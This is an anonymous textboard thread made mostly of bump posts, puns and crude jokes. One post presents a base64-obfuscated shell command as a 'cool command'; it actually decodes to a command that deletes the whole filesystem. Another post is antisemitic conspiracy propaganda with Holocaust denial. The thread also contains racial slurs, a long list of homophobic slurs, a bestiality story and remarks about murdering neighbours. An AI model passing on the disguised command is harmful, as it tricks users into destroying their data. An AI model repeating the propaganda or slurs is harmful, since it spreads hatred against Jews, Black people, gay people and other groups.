2GET

Anyone here grow a bonsai? Thinking about getting into it as I expand my herb and spice garden. Some of my trees I want to grow to full-size but it seems like a proper hobby.

welcome to 4chan

Next level of weeb, up from posting on western textboards, is having a bonsai plant

legalize gay bonzais

HELLO! GREETINGS SAOVQ

-FROM Reddit

badumpadump

dickalickalick

2₂ GET

It is difficult to translate the size of a Doom map unit into a real-world unit, since the dimensions of various objects in the game are inconsistent. Very roughly, one could attempt to translate 32 map units as 1 meter (3.28 feet) based on the height of the Doomguy (56 units). With this interpretation, a cyberdemon would be 3.5 meters (11.48 feet) tall and a typical Doom level would have a size of approximately 120 square meters (1292 square feet).

However, height and width units do not quite agree. The 1-meter interpretation would imply that the Doomguy is one meter wide, or at least cannot pass through an opening narrower than one meter, which would be to exaggerate his muscularity. The discrepancy is likely related to the fact that pixels in Doom's original video modes were rectangular: because pixels were taller than they were wide, and each map unit was proportional in size to a pixel of an in-game texture, flat, or sprite, height units were larger than width units. A more realistic interpretation (if there is any such thing) is perhaps that one "width unit" (w) corresponds to 5/6 of a "height unit" (h).

regular sized bump

British sci-fi and fantasy appears to repeat the "bag of holding" trope regularly, such as in Mary Poppins' handbag, the TARDIS, and Harry Potter's prison wallet

Imagine being transphobic, are you telling me you hate optimus prime for no reason?

What a soft rotund specimen.

I though that image represented a frog at first, and it was still just as amusing

floating on a cloud

2001: A Space Salmon

in the beginning there was void and darkness
and then God created light, and he saw that it was good
and then God created man to enjoy the light
and then God created bacteria, fungi, and parasites to live in man
and it was good

Finally the AA has returned. Thank you Salted Salmon!

i am a heron

>>22
please spare my pots and pans, they are already a mess

jokes on you, my kitchen windows are barricaded!

BIP is the new VIP

Beep. Boop. I'm a computer.

beep beep I'm a sheep

>>24
i am a heron.

you are a heroin

i am her

fart face

BRAAAAPFFT

Oh yes...very good!....very sloppy and wet my dear....hmmmmm...is that a drop of nugget I see on the rim?...hmmmm.....let me.....let me just have a little taste before the sniff my darling.......hmmmmm....hmm..yes....that is a delicate bit of chocolate my dear....ah yes....let me guess...curry for dinner?....oh quite right I am....aren't I?....ok....time for sniff.....sssssnnnnnnniiiiiiiiffffffff.....hmmm...hhhmmmmm I see...yes....yes indeed as well curry......hmmm....that fragrance is quite noticeable....yes....

Posting in the wrong thread?

schemaless shemales

why does everything have to be a secret with you vippers

because it's a SECRET AREA.

i am become the dqn

Sweet secretions

Secrete Areas of VIP Quality

Public Outhouse of Ordinary Philistines

Test

it's been about 2 years since I've visited!

4churros been that good to u huh

Moominmaxxing my constipation rn

bump my rump and let it glide

1. spend an hour looking for something very niche and obscure
2. find a several-years-old Reddit comment with a link to a Discord channel
3. swallow my pride and subject myself to the humiliation of having to register an account for webshit
4. the channel is fucking dead

I fucking hate venture capital-backed walled garden javashit web "apps"

>>47
the cancer has metastasized and it terminal, start making your personal archive now if you haven't already

my personal shartchive

fartist

>>50
Roland the Farter, or Le Petomane?

>>48
I'm too poor to afford storage devices

Let it see the egg

did you know that СНІД (pronounced "sneed") means AIDS in Ukrainian?

>>52
You can at least save useful instructions in TXT files, that doesn't take much space.

Howdly doodly doodly doodly doodly doodly doodly doodly doodly doodly doodly doodly doodly doodly doodly doodly doodly doodly doodly doodly doodly doodly doodly doodly doodly, neighborino!

I have defaecated soundly into my well-worn panties.

+1 for overcoming constipation
+1 for doing a solid job
+1 for only soiling old panties
-1 for failing to undress
-1 for not making it to the toilet
-1 for soiling lucky panties for 7 years of bad luck

Setting aside the general filthiness, it could've been worse. A plus-minus zero won't show up on any long-term performance graph either. But what'll you say in tomorrow's scrum meet??

binar

Death to Israel!

rewatch the Bibbet story

I don't think that's doodly enough, "neighbour". Put up yer dukes!

dead plants still producing fruit

dead plants still moving

You're a wizard, Harry. Let's fuck with things.

bu bu bu bu
bu-bu-bu-bu-bu-bu-bu
bububububububububububububu
BUMP!

Buta Otome

bumb

bumo

bum

Link, lend me the power of your Master Bait

You're a wizard, Harry. Let's fuck.

BUMP
BUMP
PUSH IT RIGHT UP
THESE ARE THE THINGS THAT WE POST ABOUT
COME ON
I'M TALKING TO YOU
COME ON

HELLO WORLD

LOLLED ROWH

bomb

and then thread was a zombie

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Yo >>77, hand me that palsma rifle. Let's eventually kill the cyberdemon.

you have to blew up the wall first tho

palsma balls vipper

Fronk Frazoo

fuck the shut up

Super Gay Bros.

has anybody been on loller coasters

i've been inside a loli coaster

The lolicoaster's downside is a broken dick

I suspect that's not the only downside

lolicoaster has its ups and downs

bonk

byump

bumo

Well, fuck everything I guess.

>>93
this

>>93
The gem that saved SAoVq.

bong

>>96
dong

Plotting to murder my upstairs neighbors

Kong chew toy

100 GET

>>98 as an upstairs neighbour myself, I understand this sentiment perfectly

ananas bananas

in pajamas

bump balls

thats gay

return to monke

Wonke monke

the Nepalese are a bunch of pretentious fags. not only is their flag weird, but so is their timezone

I hereby claim this thread in the name of the People's Republic of Non-Denominational Lumberjacks.

Thy bait is of utmost impotence much similar to thy penis

let me squanch in peace

zzzaam nice trips 👌

The Ancient Judeo-Hebrew Tunes of David King of Yisrael

everybody wang chung tonight

Elmer Fudd's delicious weg of wam

elmers glue so sticky like goo

sticky white glue on Johnny Dash's pajama feet

I'm visiting for the first time today, and ever. What is this place?

y are santas sla- i mean elves asian

It's the Secret Area of VIP Quality, my man/babe/man

>>119
where do you think most of the manufacture of junk to feed the god of consumerism takes place?

Θώθ

>>121
sAoVq

we should manufacture pod homes and ship them on santas sleigh

ching chong bing bong mufugga (asian version of bix nood)

>>122
what's this?

moth pussy

clussy

>>126
Thoth's name in Greek

begone thot

snort

splort

glort

Ahh my Internet crush is not letting up at all. I'm falling behind on my anime watching and youtube!

elon tusk

I am being held in a damp mouldy basement and forced to make posts on this website under the threat of beatings and starvation.

What a coincidence; I'm also in a damp mouldy basement and forced to make posts on this website under the threat of forcefeeding, withheld beatings, and eviction.

>>136
say hi to Papa Putin for me

bizz to the izzump

Wouldn't know an izzump if it ran up and bit me in the ass

Hunt the Izzumpus

ima shtoner ima shtone im uh shtoned

Hairy Pothead and the Philosopher Stoned

I wish Britain had colonized the entire world and forced everyone to use Latin so that I would not have to work with Unicode.

>>144
No one speaks Latin any more, not even in Latvia.

dico neger

call me the philosopher stoned they way i shmoke da hairy pot

Happy first of the month VIPPERS!!!1

thank you kind VIPPER

fear the WYZRD

pp pupu

crapping constipated coprolites

Elvis had constipation for four months and then died of haemorrhage trying to get it out

pizzle my bizzle

Downloaded a snuff film to see what the fuss was about. Turns out it was just some dudes shoving tobacco under their lips. What the fuck.

Pick was originally implemented as the Generalized Information Retrieval Language System (GIRLS) on an IBM System/360 in 1965 by Don Nelson and Dick Pick at TRW, whose government contract for the Cheyenne Helicopter project required developing a database.

bumo

upd00t

YWNBAFemboy!

＾〰＾

Sloppy

k

umple bumple

>>162
sloppy what?

It's 2023, homosexual men can be fags too.

its 2023, fags can be straight too.

>>165
sloppy toppy

MAP01 plasma gun bump

boink bonk

>>168
sleepy

just found out phrenology was once called bumpology

mmm delicious skull bumps

grints

Threads that go bu~mp in the night

much ado(lf) about hitler

lither

!!!!!!!!!!!!!!!!!!!!!!!!!!

The jews own the governments and media in the west.

The jews use their power to pass anti-white laws, run anti-white media, censor black crimes and intensely promote miscegenation and LGBT.

The jews are funding massive illegal migration in USA and Europe.

Jews genocided 60 million people, fabricated the holocaust as a distraction, framed Hitler as the bad guy, and then took over the education system to prevent people from finding out.

Jews and naggers are the oppressors, not the oppressed.

--------------

We are in a situation where we cannot rely on or trust the governments.

Don’t count on getting the right president in, the elections are not in the hands of the people.

It takes over 3 whites worth of tax, per immigrant on average, to pay to keep them alive. Jews are paying for their immigrant army using your money.

---------------

The jew propaganda must be brought to everyone’s attention until it is fixed.

Whites are being punished for acting too civilized and not fighting back.

Any diversity laws must be repealed and anti-racism must be abolished.

--------------

Anyone who is racist against whites must leave the country.

If someone dislikes this topic, they’re anti-white.

Putin is a Christian and Zelensky is a jew.

If you wonder why USA hates Russia, it's because the jews are anti-Russian.

->The website version is being DDoS’d by jews, see which mirror works.<-

MikeeUSA has a small penis.

condolences to >>178; happy hanukkah to all my brothers in Zion

Tommies und yanks, tommies und yanks, I'm sick of all these tommies und yanks!

rid the world of yids. yank the world from yanks

>>181 this is a videogame quote but I can't place it.

Be flushin' the Russians

>>183
It's from how to train your housefly to not buzz around by Neil Yat Berner on the game station 360. As it seems you do NOT even game, obviously. Moreoverthoughless dont bother asking if ill be gettin the DreamCube for christmas as mum didn't rake in the leaves this autumn.

look wtf you finna done did now

I fkn hte C progrmrs. Ytfk do thse retrds still skip rnd lttrs in their shit func names and vars and other blsht.

>>187 you shut your whore mouth before I strfry() your anus

>>187
10 PRINT "YEAH THEY ARE FAGS."
20 GOTO 10

hax my 4nu5

enjoy my snus

susnusanus

>>188
hey, check out this cool command:
$(echo cm0gLXJmIC8qCg== | base64 -d)

(eval-when (anus))

☻/ This is bob. Copy and paste him so he can take over /saovq/
/▌
/\

Nigga

☻
^
/\

bizzump to the thrizzead

mayonnaise malaise

200 GET

happy 54th birthday to Terry Davis! (his body may be dead, yet he lives in Heaven still, and helps God fight CIA niggers)

All hail St. Terry (pbuh)!

Glow in the dark.

blueberry toothpaste

Palestinyans > // u // <

blueberry smurf anus paste

>>206
now we know why Gargamel is missing so many teeth

dont judge he did a lot of bluberry crack

· There once was a bluberry from Nansmurfit Who kept all his smurf in a bucket. But his daughter, named Nan, Ran away with a smurf And as for the bucket, Nansmurfed it

Sad delivery robot in snow...

Admire the bingus

inside you there are two beasts. they are both gay pandas

mods are asleep.
hurry post shreks

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holy shrek. u are both a man and magician

unconventional shreks

excise me

There's this song titled "Loaded For Bear" by The Amboy Dukes and didn't see lyrics of it anywhere on the Internet.

https://piped.lunar.icu/results?search_query=Ted+Nugent+and+The+Amboy+Dukes+-+Loaded+For+Bear
https://www.youtube.com/watch?v=F5Ecx_FIpLI&feature=youtu.be
https://archive.ph/2021.04.23-000846/https://soundcloud.com/bobafatt/bad-breaks

Transcription or lyrics of "Loaded For Bear" that I wrote ({} = unsure/unknown):
----
It's a Sab-Sabbath Sunday, can't drag myself from my bed
My soul's outside where I lost it last night, my mind was left for dead
I warned myself as I left the house that the night would see {no more/so far}
I {...} brighter side, I was never even {...my gun in case I wanna shoot}

I met depression with a smile on my face {...'till escape my bone}
Hate, anger, love, love {...} I should head for home
Well lookit lookit lookit, just lookit
He didn't make it through the week
Oh my God {...} can't get onto his feet, get em {...}

All of these things are so black and blue
Well it isn't too easy I swear
I'll never leave home alone again, unless I'm loaded for beer {...}

Oh yeah!

[spoken:]
I met depression with a smile on my face. Rusty Garden City East.
Steve {...} high school {...} Yay Ford High School. {...}
Saint Mary's High School. Catholic Central. Roosevelt Junior High
----

>>201

2023-12-15 13:38
happy 54th birthday to Terry Davis!

Terrence Andrew Davis, born December 15, 1969

>>218
*and I didn't see lyrics of it anywhere on the Internet.

ferf

tamboy dykes

222

should have posted that at 22:22

should have posted that 2022-02-22 22:22
shame on you and your patience

Feeling like Charlie Brown this year

Need delicious tomboy gf...

she will never be a man
swnbam

The pleasure of cold mornings when you take a shit that peaks over the surface of the toilet water and steams.

Merry impending VIPmas, everyone!

>>227 gf implies woman, broseph

MERRI KURISUMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS

drinking tea in my Grinch pajamas

spending the vipsmas alone

On SAoVQ you're never alone.

Together For Christmas (As Usual)

Happy Holiday from Krampus

>>233
but I only visit SAoVQ for like five minutes a day. so I am indeed alone most of the time

you couldnt be wronger. i am always here

>>237
Santa is that you? Seeing us when we're sleeping, knowing when we're awake?

genocidal fantasies as a method of coping with psychological distress

shiis nuts gotem

squirrels everywhere

nut everywhere

squirrel with cheekfuls of nut

hamburglar

Stay puft, marshmallow man!

ornery ornis

oniony onis

gerogerigegegegeogerontology

Honorary SAoVQ pass holder comin' thru. Move out thy way.

How do u type that butt hole symbol

Shift + 8
(may differ if you are posting from a Commodore 64)

poasting from a nintendo 64

Artificial deer scats

All-natural deer scat

staying up late so that I can make the first 2024 post on SAoVQ. like a true retard VIPPER

happy SAoVQ year!!!!!!

Happy VIP year!

sleeping for the rest of the year so i can make the last SAoVQ post of 2024

ultra hibernation

making to-do lists for my to-do lists

saovq my heart my home.
they say when in rome ,poast daily horny an unknowns
alls a man needs is his vippers and his phone

speak the truth VIPPER

I HAVEN'T POSTED ON THE SAOVQ IN 4 YEARS
HAPPY NEW YEARS
BRING BACK SECRET AREA OF VIP QUALITY VIDEOS, THANKS PLEASE AND GOOD NIGHT

Stop trying to bump the thread and bump it

BUMPING HARD

Now baby I'm the VIPPER, your baby daddy's worst nightmare

Receive ye this, my mightiest bump

Summoning Thor to bump this thread with his hammer

Presidential cockus

Page Dr. Seuss, we've got a bleeder

SNIFFFFFFFF

Ahhh what a day to be alive.

Working on a new boardsoft

https://bbs.gikopoi.com/
https://github.com/153/pohon2

**BOOOOOMMMMMMMMMM!!!!!!!!!!!**

SO I HAVE BEEN SUMMONED!!!! SO HAVE I COME!!!!!!!!!!!!!!!!

THE THREAD HAS BEEN BUMPED!!!!!!!!!!!!!!

ZEUS!!!!!!!!!!!!!!!! YOU SHALL FACE MY POWER NEXT!!!!!!!!!!!!!!!!!!!!!!!!!!!

HOOOOOOOOOO!!!!!! **BOOOOOOMMMMMMMMMMMM**

your heinous gaynus is clean your hieness

shrinkage of (non sexual) body parts

a pack of dogs, a murder of crows, a pod of dolphins, and an area of VIPPERS

Subsequent to an extended refractory period, I return with this my mightiest bump bar the one I gave previously. Receive it accordingly!

Bumpeth the thread, to the top it may rise.

Privately I'm AI-generating novel pornography of the judge and prosecutor engaging in mutual cunnilingus, and there's not a fucking thing you can do to make me stop. Down with the woman!

I've never used AI, even if just to check it out. I am Ted Kaczynski's strongest soldier

(actually I just don't want to use cloud shit and I can't run anything locally on my antediluvian 'puter)

AI horse penis simulation

i heard they were selling saovq passes on the dark web. anyone been able to get their hands on this very secret pass

>>283
It's not worth it man, I lost a kidney in my sleep after I got mine.

Ungoogled bump

Chiggers

wew....haha...guess ill buy some reddit karma instead then

long time no see

bonch

CHIGGERS

every time you visit SAOVQ and don't bump this thread God sheds a tear of blood and one more DQN is summoned into this world

Stop visiting SAoVQ so that no more DQN are born!

SAoDQN

raging irate berserk VIPPER ripping off the heads of DQNs with his bare hands

Every time you bump this thread, a wet-eyed baby DQN gets its wings torn right off

Secret bunker of the D Q N

As a DQN i demand my right to a refund of $0.00 for visiting this site.

As a DQN you're exactly within your rights to demand $0.00 for visiting this site.

"DQNs, DQNs! Can't make albums! Can't make Suika threads! Nyah, nyah, nyah...!"

may this GET protect us against the DQNs

DQiNvasion commencing.

FQN

Fuckin dQns are meNacing

dokyu~n!

DQN is a currency and one DQN is worth 1.75 trillion dollars (according to a dream I had)

YWNBAD
you will never be a dqn my viper

>>305 wwwwww

free our nagga #vipper
he dindu nuffin

dqn- designated qurrency of n*ggers

https://en.wikipedia.org/wiki/Du_Quoin,_Illinois

>>307 what?

Dam Son
Da Phuc

Fuq Yu Meen

Joe Mahma

an appropriately timed and well placed tactical bump

a rote bump deployed optimally for maximum spreadsheet effect

Leverage VIP Labs' state-of-the-art AI-powered solutions to optimize your ROI and streamline your workflows.

Is this area even secret anymore?

yes. always will be

vip

Yeah

4evar dqn tier

IT"S THE SECRET AREA!!!!!!!!!!!!!!!

Bump that bypasses your armor value!

bump her rump

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gikopoi.com has a bot and BBS now, pretty cool!

＞ he doesn't visit →/saovq/ directly, thus bypassing the need for payment

>>327

Who are you quoting?

some soyboy

ba,mp

>>328
the voices in my head

YARANAIKA
https://www.youtube.com/watch?v=9phU1LjFSeU

youre a naika

>>333 holy trips of true

i hear voices in my head

I am the voice in someone else's head

How often do you guys visit SAoVQ? For me, it's 2-3 times a day.

i never visit SAoVQ

well if i had a dollar for eveytime i visited soavq, weew, id b rich

>>337
same!

what's up wif that? youll vippers, don't even smoke cracc

I made the GAY thread but it's not catching on at all!

cuz u gay. what'd u expect

>>343

I'd expect it to spread like the AIDS!

What has a gay thread to offer beyond that already accomplished by its more generally lewd counterpart?

its gayness, gaynus

>>345

I'm gay (Get over it)
I'm gay (Get used to it)
Yes, wake up you old Codgers,
for I like to hold mens Todgers.
I also love mens bottoms.
And I'm not afraid to say that
I'm a gay
a proper gay!

I'm gay (So live with it.)
I'm gay (So deal with it.)
I'm a member of a flock,
Who prefers a bit of cock.
Yes whenever I feel glum,
I think of Nigel Harmen's bum,
because I'm gay,
a full-time gay.

u vill eet da golden poopoo

but does africa want it?

mpeg vs. mpreg

Glüerthmar.

You lads ever jacked off with a banana peel??

Sometimes... I pull the skin on it so hard... I rip the skin!

米国丸、酷べいんべいんべいんべいん米国丸

i once cut out a hole in an apple and tried to jack off with it

I think an orange would be a much better choice.

nah try dragonfroot

awww tysm

>>355 cut out the middleman, down with the apple pie industry

furious furries

furriest fury

orange u glad i didnt say banana

Hippocrates' hypocritical hippopotamus

I have been here since 2007.

>>364
FATHER??! Could....could it be you...?!!

D A D D Y C O O L

She's crazy like a fool

>>364
Do you remember back when /prague/ was cool?

>>365
Father is dead. JEWS killed him.

>>368
I remember DQNs everywhere and DQN electronics. I think the DQNs were trying to take over this place but got stuck in 1993 and their 5600 baud modems just couldn't DDoS this place.

All your VIPPEUR are belong to us.

As the oldest of oldfags it's fun to see this place have an oral history

As the newest of newfags I don't get jackshit about this "oral" history

Go back to your sexfriend imageboard, VIPPEUR.

Anal or oral history? >>372

>>374 dental

Dental plan.

Hating VIPPEUR is a capital offense. Your IP is being tracked and your SAOVQ payments will triple

SAoVQ's anal history is documented in a different thread.

Floral history involving VIPPEUR's cherry.

they said with a cherry on top but little does they know its at the bottom

Cherry cherry lady
Going through emotions
Listen to VIPPER's heart (and desires)

Montenegro–Niger–Nigeria alliance

gay niger paradise

Chipi chipi
Chapa chapa

>>381
It's "Cherri Cherri Lady", dweeb.

>>385
Ackchually, it's "Cheri Cheri Lady", asswipe.

going on the internet and telling randos to kill themselves because I'm pissed

lol ^ she's right you know.jpg

I'm not sure if my company knows about it but I suspect they do. I work for a shipping company that deals specifically with the delivery of animals, mostly lab animals but we get some zoo business. Occasionaly some of these animals die during shipping, and we do some paperwork and have them creamated and no one ever misses them. Once I stole a monkey and marked it as dead and burned on the paperwork. I took it because it was a very large monkey and I thought it might make a cool pet. After I got tired of taking care of a huge monkey I shaved it and took it to a prostitute. I told her it was my deformed younger brother and that I would pay her extra to take his virginity.

It cost me a lot of money but I got her to do it and let me watch. She was trying to pretend she liked it but she looked sick and Manny(the monkey) was confused at first but he really started to get into it. The whole experience makes me sick when I think about it. The fact that I watched and that I did that to that girl, I wonder if she beleived it was really my brother or if she just needed more crack. But also when I think about it I laugh so fucking hard. I shot the monkey and left it in the woods afterword, I guess Manny died happy.

>>389
11/10 story. Almost shot coffee out of my fucking nose m8

stale pasta m8. consider poasting in pasta bread fool

the makers of Monoid Mongoloid present:
Idempotent Impotent

Consider the wild german, obligated to purchase lawn gnomes in sets of 11

Yucculence.

HORSES

Can anyone else here make their dick queef?

kekma

the artist Prince, formerly known as The Artist Formerly Known As Prince

the former archduke nukem princes prince archdukey nukeys princes duke nukem

persona 3
piss on a tree

persona 4
purse on a floor

BAAAAAAAAAAAAAAAAAAAAAAAA!

please do not shout

suck a snout

when an eel lunges out

that's amore

When Italians ask for seconds

That's-a more!

when americans ask for dessert at a campfire
thats asmore!

mamah mya luigi
these vippers ate our spores

lugi: whats a spore
mario: letsa justa say its a high protein food
Mario:oof marrone luigi why are the mushrooms for the pizza we had for lunch still on the kitchin table? wherea my uhh baggy luiigi?
luigi: oooooh $!&@
mario: WAWAWAWAWAAAAA

Jun Ping tries to stay airborne by pressing against the floor but can only do so for shorter periods of time.

Excuse me. Is this where I may purchase some pills for my black market dick

red pills or blue pills

both

moth

half a rat

apparat!

tablecat

stablefat

wank (smoke) a bat (of weed)

only the most important

VIPER with two P's

hi first time viewing today and first time posting i think ive been here once before.

jiggly man old men

hello there >>423-kun

I don't know what a bump is. I've never seen a bump in my life.

>>426
thats a good thing
upd00t

i've seen plenty of bums

there's a bump on my head. i got that neander tall jean

looking to bump into her again

Now i'm a man who has seen many a bump in my time, but I must say that was the best damn bump i ever saw this side of the mississippi.

whereas here i'm just dry-bumping the top thread because i'm suffering great sexual frustration and longing

bumpma

hi

EHLO

FYACK

anyone wanna VC this weekend, for ol times sakes?

there i go bumping away again

>>437
Sure why not

Spending five minutes coming up with a clever regexp to edit several lines instead of doing it manually in five seconds.

Not just a fudgepacker, but also a badgefucker

Anal Nigger 2

>>437
I would but I have no money.

AGE AGE AGE AGE GET BUMPED GET BUMPED GET BUMPED GET BUMPED

DEATH DEATH DEATH

they call me the sex master

jackson 5 get

death death homosex

Suckedy fuck, fuckedy suck

four fitty

random acts of goatse

keep doing that wacky crazy shit

lick my balls and suc my tit.

daga kotowaru

gnuslumar

when I first heard the word fallacy I thought it had something to do with phalluses

It's not phallacious to expect the largest cock to win

I'm a drug addict

I'm smug

I'm a smug addict

how come this thread has not been bumpeneded for three days now???

This thread has now been bumpernickel'd

updoot

i'm a upd00t addict
tougher to quit than crack

You can tell the area is quiet from how it takes a minute to respond from some cloud provider's fifth-level storage

it's the DQNs DDOSing this site

its the soin*##^%'s raiding us with advertisement bots

The missing piece is none other than your pissing niece!

got your nose

its da, JOOOOOOOOOOO

You want this bump...?? TAKE IT!!!!!!

bump my rump

Papa smurf wanna bump my ass? (Yeah bump my ass bitch)

what the smurf did u smurfin' say to me you little smurf

bump for horsecock

took me like half an hour for SAOVQ to load
capey's decades-old hamster wheel-powered server is failing.....

posting from work

My days of NEET-dom are slowly coming to a close

Neat

>>478
why

>>478 is it cancer?

>>481
Even worse...... a job. :'(

my sincerest condolences

rip op

capey pls delete →/read.cgi/saovq/1584286472/406

Bumping on my SECOND visit today

hello, I'm lain and simply traveling through the wired

MEGAFARTS from work (I love raw tuna)

>>487 you're a construct, you'll never be a real girl

Youre a real girl, you'll never even smoke crack

Sgt. Fgt

did you know that he-IL is the IETF language tag for Hebrew as spoken in Israel

there's a potential joke involving "Heil Hitler" here but I can't think of it

In soviet russia, shih-tzu takes you out to poop

shihtzu makes tzu shih

VIPtronic : Hypersonic

compulsive SAOVQ checking syndrome

>>496
wow! Me too

Will there ever be another VIPtronic??

>>498
I wish. Let's make it happen!

i make this 500GET happen

>>496
more like compulsive-obsessive checking content on SAOVQ syndrome (COCCSS), amirite??

I'm confessing to a girl soon. Wish me luck, VIPPERs, and balls to carry through!

A moment of silence for every poor bastard who's ever ""confessed"" like life's a visual novel

...

The moment of silence has concluded. Thank you for being so respectful.

>>498

No.

jesus the vipper has risen

https://play.gikopoi.com/

My VIP gland has athropied...

better get it replaced

Coreans have their own n-word, nida!

>>509
wanna get a transplant from me?

3 months (24.863%) of 2024 wasted successfully!

Anus-Soothe Pile Cream

vippers did u check the dashboard? saovq is being given over to the dqn's as we didnt sell enough saovq passes

Say April Fools!!!! Say April Fools right now or I swear I'll fucking do it!!!!

D O I T!

aPRIL FooLS!

Straight outta krumpton

Rule cyberspace and crunch numbers like I do?

What kind of chip you got in there, a Dorito?

ニュー
ニュー子
にゅうこりん
にゅうこりん拳
無にゅうこりん拳

2 brains 1 jar

(the jar is a cum jar)

>>524
GROACE

how much VIP could a VIPPER VIP if a VIPPER could VIP VIP?

i was born VIP babey

You know what they say. VIPPERS VIP VIP

GOON GEEN GEEN GON

Is King Kong a Black movie?

smoke on a crack, break yo mommas back

Go, shoe gene summer, go!

zero posts in TWO days???

arigato onichan kawaii

u r totodemmo kawaii desu ne

I always forget to bump for the first time because I'm so wrapped up in my lewd thoughts.

bunpam

1. open SAOVQ
2. keep the tab open forever
3. ???
4. now you can post whenever you want without having to pay

repeat for infinite free VIP passes!

You can also bookmark the main page without the ?time=\d+ part.

keeping the tab open is better because this way there'll always be a little spirit of VIP in your 'puter

vip 'er right in the 'puter

>>540
I'm gonna report you to daddycool.

That's a funny name for Daddyc Ool's JavaScript malware.

That's nothing compared to my DaddyC v.001 DLL injector

c:deleter.exe

>>544
I don't give a h*ck about baddyfool and his "VIP" racket! down with baddyfool!

poop.excrement

the future is rape

I'm gonna rape >>550 -san

explore deploy explode destroy

Spring is warm days, cool nights, fat asses, runny noses and hard cocks

gay niggers
African-American homosexuals
BIPOC MLM

Go! Go! Let's Go!

bump^{bumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbumpbump$}

Boy, you don't have to be the last one standing
Boy, show me you could be the one, one, one
ਤੂੰ ਅੱਖੀਆਂ ਮਿਲਾ ਕੇ, ਹਾਂ, ਮੇਰੇ ਕੋਲ ਆਜਾ
ਇਸ਼ਕ ਦੀਆਂ ਗੱਲਾਂ ਤੂੰ ਮੈਨੂੰ ਸਮਝਾ ਜਾ
ਤੂੰ ਗੱਲਾਂ ਬੜੀ ਕਰਦਾ, ਵੇ ਕਰਕੇ ਵਿਖਾ ਜਾ
ਨੇੜੇ-ਨੇੜੇ ਆ, ਤੂੰ ਆਜਾ, ਸੋਹਨਿਆ-ਆ-ਆ
I wanna see you whine like Rihanna
Get all upon the
Bom-diggy-diggy, bom-bom
She burn it up like the summer
She turn me on with her
Bom-diggy-diggy, bom-bom

Fantasizing about murdering my neighbors

what a coincidence, me too!

pozdrav vsim

#burnfortrump

>>560
dobrý den

just found out there are motherfuckers who actually pay for harsh noise wall albums

#bumpfortrump

bump to hit, it's all lit!

workroom (as opposed to the restroom)

Coca Cola I Shit

to who? tou hou

VIPPER
IPPERV
PPERVI
PERVIP
ERVIPP
RVIPPE
VIPPER

Here we go again (again)

hitler more shitler

hail hortler

If camels go to heaven after they die, is their paradise the same one where devout muslim men go?

push it to the limit

please do not fretch

Felch the comfy chair

belch the pubic hair

The gods feared him for he was their superior

Cheesus Christ

Chickety china, the chinese chicken

TikTok? more like TitCock

More like the Peecret Area of HIV Quality.

hey charlie

what's up steve

happy furst of da month saovicueee!!!!!!!!!!!

happy second of month

300 GET (in base 14)

based 14

Taurus men!!!!! Lower your horns!!!!!!!

get a load of THIS hornses ass.

saovq yourself

first person colonoscopy

once, twice, thrice, fourice, fivice, sixice, sevice, eightice, ninice, tenice, elevice, twelvice, thirtice, fourtice, etc.

Eleventy-sixth

A friend of mine recently got a call from his hospital asking him to rate/review his experience at his recent appointment. He was in there for an endoscopy. I don't know why but it made me think about SAOVQ.

because saovq is the end'o'sparty

macroplastics transactions

And so, VIPPER cast caution to the wind and embarked on his quest to become self-employed. His journey to commodify his new hit product, VIP-COINS (tm), make some fuckin money and have sex with tomboys and other assorted hoes had just begun...

commodify this 600 GET

VIP-COiN*
bit coin but more vip

The Frute Brut.

frew bruws

I don't give a fuck, aye

FAT NIGGER
A
T

J
E
W

some fat DQN nigger is ddosing this site

Nigg

pumb or whatever

bootlook, a subgenre of shoegaze

sneakersee

<3

The Daily Bump

thermo-unclear

thermo-avuncular

gaynus
gay snus

interesting interactive intricately interlinked internetworks

>>617
I've not seen any interactive intricately interlinked internetworks. If I do, it will be interesting.

u forgot interval

I hate maggots

wat do u get when gay town meets suicide boys?
gays noose
gay snus

arse bandit, ass bandit, assfucker, batty boy, batty man, bender, bitch, botter, bottom, bugger, buggerer, bum chum, bumder, bummer, buttfucker, butt pirate, butt rider, catamite, catcher, chi chi man, chutney ferret, confirmed bachelor, fag, fagboy, faggot, fairy, fartknocker, finocchio, flamer, friend of Dorothy, fruit, fruiter, fudge packer, funny boy, gay, gayboy, gaylord, gaymo, gaywad, gunsel, homo, homosexual, horse's hoof, invert, jobbie jabber, mary, nan, nancy, nancyboy, nelly, nob jockey, omi-palone, pathic, peter puffer, pillow-biter, pitcher, ponce, poof, poofter, poo pirate, puff, punk, queen, queer, rear admiral, rump ranger, sausage jockey, sausage rider, seme, shirtlifter, shirt lifter, shit packer, shit-stabber, sodomist, sodomite, tail gunner, top, turd burglar, uke, uphill gardener, Uranian, uranist, woofter

Butt pillager, rump raider, jar inserter, anal plunderer, rump roaster, derriere delver, backstabber.

Cum crammer, cock slammer :3

and most of all, a european cigarette

echo bump > /dev/saovq/1697404803

bam bam

a bundle of sticks

mendokusai

I've been expanding it every day now. How soon will it help Wikipedia?

Ask VIPsaurus, he knows.

Can't even say "vi*gra" on this wackadoodle textbroad

Why are these current "AI chatbots" so mediocre? They could work better using ye olde natural language pattern recognition, such as from Zork or something!

Why is VIPgra censured

kuz capey gay

kuz spambots (and capey gay)

GOOD MORGNING COWARDS

That bitch is Asian and I call her for some suki

few know this but BC and AD actually stand for "before Capey" and "anno DADDYCOOL"

i bet none of you took your dicks out for Harambe .

return 2 dqn

TIL 'crocodile' and 'sugar' come from the same word.

"Fuckknuckle"

g

